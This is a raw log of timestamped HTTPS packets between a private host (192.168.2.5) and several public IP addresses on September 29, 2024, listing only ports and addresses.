Sep 29, 2024 02:10:20.020555973 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.020601988 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.020649910 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.020663023 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.021119118 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.021153927 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.021168947 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.021184921 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.021229029 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.021255016 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.033248901 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:20.033302069 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:20.033341885 CEST	49714	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:20.033350945 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:20.033389091 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:20.033431053 CEST	49714	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:20.039504051 CEST	49714	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:20.039515972 CEST	443	49714	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:20.070282936 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.070321083 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.070333004 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.070348024 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.070399046 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.070405960 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.072621107 CEST	443	49720	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:20.073079109 CEST	49720	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:20.073091984 CEST	443	49720	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:20.073955059 CEST	443	49720	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:20.074022055 CEST	49720	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:20.096060038 CEST	443	49719	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:20.098083019 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.098108053 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.098165989 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.098191977 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.098221064 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.098238945 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.099216938 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.099235058 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.099304914 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.099313021 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.099359035 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.099447012 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.099484921 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.099499941 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.099525928 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.099539042 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.099572897 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.099591017 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.099636078 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.099659920 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.100019932 CEST	49720	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:20.100162983 CEST	443	49720	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:20.100495100 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.100511074 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.100568056 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.100577116 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.100614071 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.101069927 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.101134062 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.101140976 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.101155043 CEST	49720	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:20.101155996 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.101180077 CEST	443	49720	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:20.101202965 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.102085114 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.102092981 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.102118969 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.102130890 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.102143049 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.102149963 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.102168083 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.102202892 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.102227926 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.103136063 CEST	49719	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:20.103143930 CEST	443	49719	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:20.104650021 CEST	443	49719	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:20.104703903 CEST	49719	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:20.105911970 CEST	49719	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:20.105979919 CEST	443	49719	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:20.107507944 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.107522011 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.107570887 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.107589960 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.107615948 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.109381914 CEST	49719	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:20.109399080 CEST	443	49719	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:20.109594107 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.109613895 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.109649897 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.109666109 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.109693050 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.114430904 CEST	49715	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.114463091 CEST	443	49715	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.153188944 CEST	49720	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:20.153191090 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.153412104 CEST	49719	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:20.186676025 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.186692953 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.186778069 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.186813116 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.186857939 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.187746048 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.187760115 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.187819004 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.187829018 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.187864065 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.189295053 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.189308882 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.189358950 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.189367056 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.189404011 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.190362930 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.190376997 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.190423965 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.190433025 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.190459013 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.190474987 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.194652081 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.194668055 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.194819927 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.194853067 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.194900036 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.195571899 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.195586920 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.195641994 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.195662022 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.195712090 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.196461916 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.196476936 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.196526051 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.196542025 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.196573973 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.196594954 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.208374977 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.273416042 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.273441076 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.273478985 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.273509979 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.273540974 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.273561954 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.273811102 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.273830891 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.273873091 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.273880959 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.273916960 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.274333954 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.274388075 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.274398088 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.274425030 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.274441957 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.274449110 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.274470091 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.274497986 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.276330948 CEST	49716	443	192.168.2.5	151.101.2.137
Sep 29, 2024 02:10:20.276350975 CEST	443	49716	151.101.2.137	192.168.2.5
Sep 29, 2024 02:10:20.380150080 CEST	443	49720	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:20.380219936 CEST	443	49720	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:20.380269051 CEST	49720	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:20.381738901 CEST	49720	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:20.381762028 CEST	443	49720	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:20.415180922 CEST	443	49719	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:20.415446043 CEST	443	49719	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:20.415508032 CEST	49719	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:20.419194937 CEST	49719	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:20.419229984 CEST	443	49719	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.149612904 CEST	49721	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.149612904 CEST	49722	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.149662018 CEST	443	49721	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.149672985 CEST	443	49722	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.149744987 CEST	49721	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.150042057 CEST	49722	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.158912897 CEST	49723	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.158950090 CEST	443	49723	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.159035921 CEST	49723	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.159985065 CEST	49724	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.160022020 CEST	443	49724	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.160388947 CEST	49724	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.178421974 CEST	49725	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:10:21.178508997 CEST	443	49725	185.199.108.153	192.168.2.5
Sep 29, 2024 02:10:21.181992054 CEST	49725	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:10:21.191065073 CEST	49724	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.191080093 CEST	443	49724	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.192426920 CEST	49722	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.192430973 CEST	49723	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.192445040 CEST	443	49723	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.192450047 CEST	443	49722	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.192673922 CEST	49721	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.192687988 CEST	443	49721	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.197575092 CEST	49725	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:10:21.197592974 CEST	443	49725	185.199.108.153	192.168.2.5
Sep 29, 2024 02:10:21.198369026 CEST	49727	443	192.168.2.5	142.250.185.68
Sep 29, 2024 02:10:21.198396921 CEST	443	49727	142.250.185.68	192.168.2.5
Sep 29, 2024 02:10:21.198712111 CEST	49727	443	192.168.2.5	142.250.185.68
Sep 29, 2024 02:10:21.198712111 CEST	49727	443	192.168.2.5	142.250.185.68
Sep 29, 2024 02:10:21.198738098 CEST	443	49727	142.250.185.68	192.168.2.5
Sep 29, 2024 02:10:21.389074087 CEST	49728	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.389098883 CEST	443	49728	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.391064882 CEST	49728	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.393204927 CEST	49728	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.393218040 CEST	443	49728	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.652890921 CEST	443	49725	185.199.108.153	192.168.2.5
Sep 29, 2024 02:10:21.660357952 CEST	49725	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:10:21.660393000 CEST	443	49725	185.199.108.153	192.168.2.5
Sep 29, 2024 02:10:21.661324978 CEST	443	49725	185.199.108.153	192.168.2.5
Sep 29, 2024 02:10:21.661391020 CEST	49725	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:10:21.663754940 CEST	49725	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:10:21.663819075 CEST	443	49725	185.199.108.153	192.168.2.5
Sep 29, 2024 02:10:21.664108038 CEST	49725	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:10:21.664122105 CEST	443	49725	185.199.108.153	192.168.2.5
Sep 29, 2024 02:10:21.713124990 CEST	49725	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:10:21.760471106 CEST	443	49725	185.199.108.153	192.168.2.5
Sep 29, 2024 02:10:21.761240005 CEST	443	49725	185.199.108.153	192.168.2.5
Sep 29, 2024 02:10:21.761315107 CEST	49725	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:10:21.820312977 CEST	443	49722	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.823334932 CEST	443	49723	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.827675104 CEST	443	49721	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.831365108 CEST	443	49724	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.857316971 CEST	443	49727	142.250.185.68	192.168.2.5
Sep 29, 2024 02:10:21.870660067 CEST	49723	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.870688915 CEST	49721	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.875881910 CEST	49724	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.886118889 CEST	49722	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.886132956 CEST	443	49722	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.887130976 CEST	443	49722	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.887156963 CEST	443	49722	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.887197971 CEST	49722	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.898968935 CEST	49722	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.899041891 CEST	443	49722	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.904325962 CEST	49727	443	192.168.2.5	142.250.185.68
Sep 29, 2024 02:10:21.911637068 CEST	49723	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.911653996 CEST	443	49723	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.912067890 CEST	443	49723	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.912574053 CEST	49721	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.912586927 CEST	443	49721	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.913723946 CEST	49724	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.913734913 CEST	443	49724	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.914167881 CEST	443	49724	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.916513920 CEST	49724	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.916578054 CEST	443	49724	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.916770935 CEST	443	49721	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.916852951 CEST	49721	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.917937040 CEST	49727	443	192.168.2.5	142.250.185.68
Sep 29, 2024 02:10:21.917942047 CEST	443	49727	142.250.185.68	192.168.2.5
Sep 29, 2024 02:10:21.919145107 CEST	443	49727	142.250.185.68	192.168.2.5
Sep 29, 2024 02:10:21.919215918 CEST	49727	443	192.168.2.5	142.250.185.68
Sep 29, 2024 02:10:21.925496101 CEST	49723	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.925564051 CEST	443	49723	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.927160978 CEST	49721	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.927258015 CEST	443	49721	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.927412033 CEST	49722	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.927419901 CEST	443	49722	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.930648088 CEST	49724	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.931684971 CEST	49727	443	192.168.2.5	142.250.185.68
Sep 29, 2024 02:10:21.931756973 CEST	443	49727	142.250.185.68	192.168.2.5
Sep 29, 2024 02:10:21.932017088 CEST	49723	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.932243109 CEST	49721	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:21.932250023 CEST	443	49721	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.975400925 CEST	443	49724	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:21.975418091 CEST	443	49723	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.017321110 CEST	49727	443	192.168.2.5	142.250.185.68
Sep 29, 2024 02:10:22.017321110 CEST	49721	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.017343044 CEST	443	49727	142.250.185.68	192.168.2.5
Sep 29, 2024 02:10:22.044173002 CEST	443	49728	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.089719057 CEST	49728	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.089734077 CEST	49722	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.105439901 CEST	49728	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.105453014 CEST	443	49728	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.106611013 CEST	443	49728	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.106621981 CEST	443	49728	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.106673956 CEST	49728	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.107516050 CEST	49728	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.107575893 CEST	443	49728	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.109816074 CEST	49728	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.109823942 CEST	443	49728	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.116087914 CEST	49725	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:10:22.116158009 CEST	443	49725	185.199.108.153	192.168.2.5
Sep 29, 2024 02:10:22.136337996 CEST	443	49723	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.136405945 CEST	443	49723	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.136451960 CEST	49723	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.138416052 CEST	443	49722	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.138468981 CEST	443	49722	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.138540030 CEST	49722	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.140494108 CEST	443	49721	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.140621901 CEST	443	49721	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.140669107 CEST	49721	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.148921013 CEST	443	49724	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.148987055 CEST	443	49724	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.149044037 CEST	49724	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.172535896 CEST	49727	443	192.168.2.5	142.250.185.68
Sep 29, 2024 02:10:22.175319910 CEST	49723	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.175340891 CEST	443	49723	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.175911903 CEST	49722	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.175935984 CEST	443	49722	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.176527023 CEST	49721	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.176534891 CEST	443	49721	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.176857948 CEST	49724	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.176875114 CEST	443	49724	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.291193008 CEST	49728	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.325700998 CEST	49731	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:10:22.325754881 CEST	443	49731	184.28.90.27	192.168.2.5
Sep 29, 2024 02:10:22.325819016 CEST	49731	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:10:22.327425003 CEST	49731	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:10:22.327450037 CEST	443	49731	184.28.90.27	192.168.2.5
Sep 29, 2024 02:10:22.364841938 CEST	443	49728	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.364916086 CEST	443	49728	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.364962101 CEST	49728	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.365529060 CEST	49728	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.365542889 CEST	443	49728	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.758131027 CEST	49732	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.758183002 CEST	443	49732	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.758339882 CEST	49732	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.758660078 CEST	49732	443	192.168.2.5	18.192.94.96
Sep 29, 2024 02:10:22.758675098 CEST	443	49732	18.192.94.96	192.168.2.5
Sep 29, 2024 02:10:22.762681961 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:22.762731075 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:22.763005972 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:22.771094084 CEST	49733	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:22.771100998 CEST	49734	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:22.771111012 CEST	443	49733	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:22.771145105 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:22.771236897 CEST	49734	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:22.772665024 CEST	49734	443	192.168.2.5	104.17.25.14
Sep 29, 2024 02:10:22.772684097 CEST	443	49734	104.17.25.14	192.168.2.5
Sep 29, 2024 02:10:22.788948059 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:22.789055109 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:22.789408922 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:22.790277958 CEST	49736	443	192.168.2.5	151.101.66.137
Sep 29, 2024 02:10:22.790308952 CEST	443	49736	151.101.66.137	192.168.2.5
Sep 29, 2024 02:10:22.988949060 CEST	443	49731	184.28.90.27	192.168.2.5
Sep 29, 2024 02:10:22.989099026 CEST	49731	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:10:23.030360937 CEST	49731	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:10:23.030435085 CEST	443	49731	184.28.90.27	192.168.2.5
Sep 29, 2024 02:10:23.031550884 CEST	443	49731	184.28.90.27	192.168.2.5
